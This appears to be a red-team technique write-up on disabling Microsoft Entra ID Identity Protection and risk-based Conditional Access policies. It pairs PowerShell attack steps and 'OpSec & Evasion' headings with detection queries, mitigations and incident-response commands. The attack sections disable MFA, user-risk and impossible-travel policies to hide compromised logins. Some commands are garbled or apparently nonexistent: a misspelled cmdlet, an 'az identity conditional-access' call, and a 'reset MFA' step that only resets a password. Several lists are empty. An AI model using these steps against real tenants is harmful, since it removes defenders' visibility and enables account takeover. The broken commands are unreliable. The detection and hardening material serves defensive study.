| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-011 |
| MITRE ATT&CK v18.1 | T1562 - Impair Defenses |
| Tactic | Defense Evasion |
| Platforms | Entra ID (Azure AD Identity Protection) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Entra ID (all versions), requires Azure AD Premium P2 license |
| Patched In | N/A (Requires policy hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Entra ID Identity Protection is a cloud-native risk-based identity security service that detects risky sign-ins and users using machine learning and behavioral analysis. It detects anomalies such as impossible travel, sign-ins from anonymous IP addresses (Tor/VPN), leaked credentials, and password spray attacks. An attacker with Global Admin or Identity Security Administrator permissions can disable or modify Entra ID Identity Protection policies, evasion rules, and risk detection settings, effectively blinding the organization to anomalous authentication activity.
Unlike traditional DLP or transport rules, Identity Protection’s risk evaluations occur in real-time during authentication. By disabling or modifying these policies, an attacker can:
This enables persistent, anomalous authentication activity without triggering protective responses.
Attack Surface: Entra ID Identity Protection policy configuration, Conditional Access rules for risk-based access control, risk detection settings, sign-in risk evaluation engine.
Business Impact: Complete Visibility Loss on Identity Threats. An attacker can maintain persistence with stolen credentials, perform impossible-travel logins from multiple continents, use anonymized IP addresses, or conduct password spray attacks—all without triggering any alerts or access blocks. This enables long-term espionage, data theft, and lateral movement while security teams remain unaware of the compromised environment.
Technical Context: Identity Protection risk evaluation happens at the Entra ID authentication service layer, before multi-factor authentication. Risk-based Conditional Access policies (which enforce MFA or block access based on risk level) are evaluated post-authentication. By disabling policies, an attacker removes all technical barriers to anomalous access.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.1.1 | Ensure that Azure AD Identity Protection is enabled for all users. |
| DISA STIG | Microsoft.Entra.1.1 | Maintain and enforce Azure AD Identity Protection policies for risk detection. |
| CISA SCuBA | Entra.1.5 | Monitor and alert on Identity Protection policy modifications or disablement. |
| NIST 800-53 | SI-4, AU-2 | Information System Monitoring and Audit Events—detect anomalous authentication activity. |
| GDPR | Art. 32 | Security of Processing—identity protection is critical to data security. |
| DORA | Art. 12 | Strong Customer Authentication—risk-based policies enforce secure authentication. |
| NIS2 | Art. 21 | Cyber Risk Management—must detect and respond to identity-based attacks. |
| ISO 27001 | A.9.2.1, A.12.4.1 | User Access Management; Audit Logging for Administrative Actions. |
| ISO 27005 | Risk Scenario | “Unauthorized modification of identity risk policies by compromised admin.” |
https://portal.azure.com or PowerShell connectivity to Microsoft Graph.Supported Versions:
Tools:
Required Privileges and Access:
Supported Versions:
Objective: Enumerate current Identity Protection policies, risk detection settings, and Conditional Access rules.
Command:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "IdentityRiskEvent.Read.All", "ConditionalAccess.Read.All"
# Enumerate Conditional Access policies (especially risk-based ones)
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State, Conditions | Format-Table -AutoSize
# Check sign-in risk policies
Get-MgPolicyIdentitySecurityDefaultEnforcementPolicy
# Check user risk policies
Get-MgIdentitySignInRiskPolicy
# Get detailed risk policy settings
$SignInPolicy = Get-MgPoliciedentitySignInRiskPolicy
$SignInPolicy | ConvertTo-Json
What to Look For:
Objective: Query Entra ID for policy management permissions and current policy states.
Command:
# List all Conditional Access policies
az identity conditional-access policy list --query "[].{displayName:displayName, state:state}" --output table
# Check specific risk-based policies
az identity conditional-access policy list --filter "contains(displayName,'risk')" --output table
# Verify who can manage policies
az rest --method get \
--url "https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Identity Security Administrator'" \
--headers "Authorization=Bearer {access_token}"
What to Look For:
Supported Versions: Entra ID (all versions)
Objective: Locate policies that enforce MFA or block access based on sign-in risk.
Command:
# Get all Conditional Access policies
$Policies = Get-MgIdentityConditionalAccessPolicy
foreach ($Policy in $Policies) {
if ($Policy.Conditions.SignInRiskLevels) {
Write-Host "Policy Name: $($Policy.DisplayName)"
Write-Host "Risk Levels Targeted: $($Policy.Conditions.SignInRiskLevels -join ', ')"
Write-Host "State: $($Policy.State)"
Write-Host "Grant Controls: $($Policy.GrantControls.BuiltInControls -join ', ')"
Write-Host "---"
}
}
Expected Output:
Policy Name: Require MFA for Risky Sign-ins
Risk Levels Targeted: high, medium
State: enabled
Grant Controls: mfa
---
What This Means:
Objective: Disable the Conditional Access policy that enforces MFA for risky logins.
Command:
# Get the risk-based policy
$PolicyId = (Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.DisplayName -eq "Require MFA for Risky Sign-ins"}).Id
# Update policy state to disabled
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $PolicyId -State "disabled"
# Verify policy is disabled
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $PolicyId | Select-Object DisplayName, State
Expected Output:
DisplayName State
----------- -----
Require MFA for Risky Sign-ins disabled
What This Means:
OpSec & Evasion:
Troubleshooting:
Update-MgBetaIdentityConditionalAccessPolicy with Beta API endpoint.Objective: Confirm that risky logins now bypass MFA enforcement.
Command:
# Test by simulating a high-risk sign-in (in lab environment)
# Login from VPN/anonymous IP or with impossible travel pattern
# Expected result: No MFA challenge, access granted immediately
# Verify policy is disabled
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $PolicyId | Select-Object DisplayName, State, Conditions
References & Proofs:
Supported Versions: Entra ID (all versions)
Objective: Check the current settings for user risk-based policy enforcement.
Command:
# Get user risk policy
$UserRiskPolicy = Get-MgIdentityUserRiskPolicy
Write-Host "User Risk Policy State: $($UserRiskPolicy.IsEnabled)"
Write-Host "Require Password Change for High Risk: $($UserRiskPolicy.RequirePasswordChangeForHighRisk)"
Write-Host "Allow User Dismiss: $($UserRiskPolicy.AllowUserDismiss)"
Expected Output:
User Risk Policy State: True
Require Password Change for High Risk: True
AllowUserDismiss: False
What This Means:
Objective: Disable the user risk policy, preventing password reset enforcement for compromised accounts.
Command:
# Disable user risk policy
$UserRiskPolicy = Get-MgIdentityUserRiskPolicy
$UserRiskPolicy.IsEnabled = $false
# Update policy
Update-MgIdentityUserRiskPolicy -IdentityUserRiskPolicy $UserRiskPolicy
# Verify
Get-MgIdentityUserRiskPolicy | Select-Object IsEnabled
Expected Output:
IsEnabled
---------
False
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID (all versions)
Objective: List all enabled risk detection types.
Command:
# List risk detections (simulated, as direct enumeration API is limited)
Write-Host "Available Risk Detection Types:"
Write-Host "- ImpossibleTravel"
Write-Host "- AnonymousIP"
Write-Host "- UnfamiliarLocation"
Write-Host "- MalwareInfectedDevice"
Write-Host "- LeakedCredentials"
Write-Host "- PasswordSpray"
Write-Host "- AtypicalTravelProperties"
# Check which detections are active in Conditional Access
$Policies = Get-MgIdentityConditionalAccessPolicy
foreach ($Policy in $Policies) {
if ($Policy.Conditions.SignInRiskLevels) {
Write-Host "Policy with risk detection: $($Policy.DisplayName)"
}
}
Objective: Modify Conditional Access policy to no longer respond to impossible-travel or anonymous-IP risk detections.
Command:
# Get policy targeting impossible-travel
$ImpossibleTravelPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.DisplayName -like "*Travel*"}
# Set policy state to disabled
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $ImpossibleTravelPolicy.Id -State "disabled"
# Verification: Attacker can now login from different continents without triggering detection
OpSec & Evasion:
Supported Versions: Entra ID (all versions)
Manual Steps:
Expected Output:
Manual Steps:
OpSec & Evasion:
Rule Configuration:
AuditLogsOperationName, InitiatedBy, TargetResources, AuditDataKQL Query:
AuditLogs
| where OperationName =~ "Update policy" or OperationName =~ "Delete policy"
| where TargetResources[0].displayName contains "Conditional Access" or TargetResources[0].displayName contains "Risk"
| where tostring(TargetResources[0].modifiedProperties) contains "State" and tostring(TargetResources[0].modifiedProperties) contains "disabled"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend PolicyName = TargetResources[0].displayName
| project TimeGenerated, InitiatedByUpn, OperationName, PolicyName, TargetResources[0].modifiedProperties
What This Detects:
Manual Configuration Steps (Azure Portal):
Critical - Conditional Access Policy DisabledCritical5 minutes30 minutesUser (InitiatedByUpn), Resource (PolicyName)Rule Configuration:
AuditLogsKQL Query:
AuditLogs
| where OperationName =~ "Set-MsolUserRiskPolicy" or OperationName =~ "Update user risk policy"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend ModifiedProperties = tostring(TargetResources[0].modifiedProperties)
| where ModifiedProperties contains "IsEnabled" and ModifiedProperties contains "false"
| project TimeGenerated, InitiatedByUpn, OperationName, ModifiedProperties
What This Detects:
Alert Name: “Conditional Access policy disabled or deleted”
Manual Configuration Steps:
Connect-MgGraph -Scopes "AuditLog.Read.All"
# Search for Conditional Access policy modifications
Search-UnifiedAuditLog -Operations "*policy*" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Where-Object {$_.AuditData -like "*Conditional*" -or $_.AuditData -like "*Risk*"} |
Select-Object UserIds, Operations, CreationDate | Export-Csv -Path "C:\PolicyAudit.csv"
# Search for user risk policy changes
Search-UnifiedAuditLog -Operations "Set-MsolUserRiskPolicy" -StartDate (Get-Date).AddDays(-7) |
Select-Object UserIds, Operations, AuditData
1. Implement PIM for Policy Management Roles
Require just-in-time activation for roles that can modify Conditional Access and Identity Protection policies.
Manual Steps (PIM Configuration):
2. Restrict Policy Modification via Conditional Access
Require MFA and compliant device for anyone accessing Conditional Access configuration.
Manual Steps:
"Restrict Conditional Access Management"3. Enable Azure AD Audit Logging and Alert on Policy Changes
Ensure all policy modifications are captured and generate immediate alerts.
Manual Steps (Enable Audit Logging):
4. Implement Alert Rules for Policy Disablement
Create real-time alerts when Conditional Access or risk policies are disabled.
Manual Steps (Azure Monitor Alert):
5. Regular Policy Audits
Conduct monthly reviews of all Conditional Access and Identity Protection policies.
Manual Steps:
# Monthly audit script
Write-Host "=== Conditional Access Policies ==="
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State | Format-Table
Write-Host "=== User Risk Policy Status ==="
Get-MgIdentityUserRiskPolicy | Select-Object IsEnabled
Write-Host "=== Sign-In Risk Policy Status ==="
Get-MgIdentitySignInRiskPolicy | Select-Object IsEnabled
# Export to CSV for compliance
Get-MgIdentityConditionalAccessPolicy | Export-Csv -Path "C:\CA_Policies_$(Get-Date -Format 'yyyy-MM-dd').csv"
6. Implement MFA for All Administrative Roles
Ensure that all admins capable of modifying policies use MFA.
Manual Steps:
# Verify all risk-based Conditional Access policies are enabled
$Policies = Get-MgIdentityConditionalAccessPolicy
foreach ($Policy in $Policies) {
if ($Policy.Conditions.SignInRiskLevels) {
Write-Host "Policy: $($Policy.DisplayName) - State: $($Policy.State)"
}
}
# Verify user risk policy is enabled
$UserRiskPolicy = Get-MgIdentityUserRiskPolicy
Write-Host "User Risk Policy Enabled: $($UserRiskPolicy.IsEnabled)"
# Verify PIM is enabled for administrative roles
Get-AzureADMSPrivilegedRoleDefinition -DisplayName "Identity Security Administrator" | Select-Object DisplayName, Enabled
Expected Output (If Secure):
Policy: Require MFA for Risky Sign-ins - State: enabled
Policy: Block High Risk Sign-ins - State: enabled
User Risk Policy Enabled: True
Identity Security Administrator - Enabled: True (PIM active)
Audit Log Indicators:
OperationName: "Update policy", "Delete policy"TargetResources.displayName: Contains “Conditional Access”, “Risk”, “Identity Protection”TargetResources.modifiedProperties: State changed to "disabled"InitiatedBy.userPrincipalName: Non-standard admin or unusual timeCreationDate: Policy disabled outside business hoursIdentity Threat Indicators:
Forensic Artifacts:
AuditData blob contains policy modification details.# Re-enable Conditional Access policy
$PolicyId = "policy-guid"
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $PolicyId -State "enabled"
# Re-enable user risk policy
$UserRiskPolicy = Get-MgIdentityUserRiskPolicy
$UserRiskPolicy.IsEnabled = $true
Update-MgIdentityUserRiskPolicy -IdentityUserRiskPolicy $UserRiskPolicy
# Check all sign-in activity during policy-disabled period
Get-MgSignInLogsSignIn -Filter "createdDateTime gt 2026-01-08T00:00:00Z and createdDateTime lt 2026-01-09T23:59:59Z" |
Select-Object UserPrincipalName, CreatedDateTime, IpAddress, Location, RiskLevel | Format-Table
# Identify all high-risk logins that were not blocked
Get-MgSignInLogsSignIn -Filter "riskLevel eq 'high'" | Select-Object UserPrincipalName, CreatedDateTime, IpAddress
# Reset password for compromised admin account
Set-AzureADUserPassword -ObjectId "admin@contoso.com" -Password (ConvertTo-SecureString -AsPlainText "NewStrongPassword123!" -Force)
# Force sign-out of all sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "admin@contoso.com"
# Reset MFA settings
Set-AzureADUserPassword -ObjectId "admin@contoso.com" -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -ForceChangePassword $true
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker compromises admin account via device code flow phishing. |
| 2 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions | Attacker grants self additional permissions via app registration. |
| 3 | Defense Evasion | [EVADE-IMPAIR-011] | Attacker disables Conditional Access risk-based policies. |
| 4 | Persistence | [PERSIST-TOKEN-001] Primary Refresh Token Theft | Attacker maintains access with stolen PRT token without MFA. |
| 5 | Collection | [COLLECT-EMAIL-001] Email Collection via EWS | Attacker exfiltrates data without risk-based access blocks. |
Azure Identity Protection and risk-based Conditional Access policies are critical controls for detecting and responding to compromised identities. By disabling or modifying these policies, an attacker can:
Key Defense Recommendations:
Organizations must recognize that Identity Protection policies are as critical to security as firewalls, and any modification to these policies requires the same level of scrutiny and approval as firewall rule changes.